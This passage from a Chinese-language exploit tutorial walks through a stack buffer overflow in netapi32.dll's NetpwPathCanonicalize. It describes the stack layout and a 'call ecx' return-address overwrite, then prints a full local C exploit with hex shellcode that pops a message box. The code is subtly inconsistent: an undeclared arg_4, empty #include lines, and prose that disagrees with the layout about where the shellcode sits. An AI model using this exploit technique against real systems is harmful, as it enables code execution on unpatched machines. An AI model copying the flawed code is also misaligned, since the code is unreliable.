好,現在稍微整理一下思路:函數返回時ecx指向棧中暫存串地址,這個暫存串的形式是:4號串 + ‘\\’ + 1號串。我們在1號串中放shellcode,在4號串尾部淹沒返回地址,填寫一個jmp
ecx的地址,那麼……
綜上,我們採用方案C的做法來exploit!
開始之前回答下這節開頭提出的問題,shellcode為什麼要開那麼大的棧空間呢?因為我們的exploit方案是把EIP引到棧區執行 shellcode。函數返回後shellcode剛好被放在棧頂之上一點點的地方,這部分記憶體空間在系統看來內容已經沒有用,是可以隨便寫的。所以一旦遇到函數調用,棧頂就會向上浮動,把我們放shellcode的地方當資料區塗鴉似的胡改一通,破壞到我們的指令。所以我乾脆提前把棧頂升起來,用棧把 shellcode保護起來,這下我們的shellcode無論如何都不會被破壞到了。
在來看看實際中我們exploit的細節,棧中的情況是這樣的:
Ebp-0x414 0xFC位元組的4號串,內容為前後都被nop包圍的shellcode
0x2位元組的程式連上的unicode字元‘\\’
0x316位元組的1號串,內容為 0x90
Ebp 0x4位元組的0x90,對應為1號串的0x317~0x31A位元組
Eip 0x751852F9,從netapi32.dll裡一條call ecx指令的地址
至於eip覆蓋值call ecx的地址0x751852F9的獲得,你可以自己編程搜尋記憶體,簡單的做法就是用OLLYDBG的外掛程式Ollyuni。
最終的exploit是這樣的:
=====================================================================
#include
#include
typedef void (*MYPROC)(LPTSTR);
#define STACK_SPACE 0x31A
char shellcode[]=
\"\\x66\\x81\\xEC\\x40\\x04\\x33\\xDB\\x53\\x68\\x77\\x65\\x73\\x74\\x68\\x66\\x61\"
\"\\x69\\x6C\\x8B\\xC4\\x53\\x50\\x50\\x53\\xB8\"
\"\\xEA\\x04\\xD5\\x77\" // user32.dll
\"\\xFF\\xD0\\x6A\\x00\\xB8\"
\"\\xDA\\xCD\\x81\\x7C\" //exit()
\"\\xFF\\xD0\";
int main()
{
char arg_1[0x320];
char arg_2[0x440];
int arg_3=0x440;
long arg_5=44;
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[40] = \"./netapi32.dll\";
char Trigger[40] = \"NetpwPathCanonicalize\";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, Trigger);
memset(arg_1,0,sizeof(arg_1));
memset(arg_2,0,sizeof(arg_2));
memset(arg_4,0,sizeof(arg_4));
memset(arg_1,0x90,sizeof(arg_1)-4);
memset(arg_4,0x90,sizeof(arg_4)-4);//string should be cut by 2 bytes 0
memcpy(arg_4+0x40,shellcode,0x28);
arg_1[STACK_SPACE+0]=0xF9;
arg_1[STACK_SPACE+1]=0x52;
arg_1[STACK_SPACE+2]=0x18;
arg_1[STACK_SPACE+3]=0x75; //eip
(ProcAdd)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
}
代碼4: local_exploit_040.c
本地溢出成功
編譯運行,哈哈,享受溢出成功的喜悅吧,記住框框彈出來時的心動吧,這是我們鑽研技術的源動力!